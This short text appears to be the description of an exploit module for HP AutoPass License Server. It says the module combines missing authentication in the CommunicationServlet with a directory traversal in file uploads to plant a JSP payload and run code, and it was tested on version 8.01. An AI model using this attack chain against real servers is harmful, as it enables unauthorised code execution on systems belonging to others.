This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
authentication in the CommunicationServlet component. On the other hand, it's possible to
abuse a directory traversal when uploading files thorough the same component, allowing to
upload an arbitrary payload embedded in a JSP. The module has been tested successfully on
HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
